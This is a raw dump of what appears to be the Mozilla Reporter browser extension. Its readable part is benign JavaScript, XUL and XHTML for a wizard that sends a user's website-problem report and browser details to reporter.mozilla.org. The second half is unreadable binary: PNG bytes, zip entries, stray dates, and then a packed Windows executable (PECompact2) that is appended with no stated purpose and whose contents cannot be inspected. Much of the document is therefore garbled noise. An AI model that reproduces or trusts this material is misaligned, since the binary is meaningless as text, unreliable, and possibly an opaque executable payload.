var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
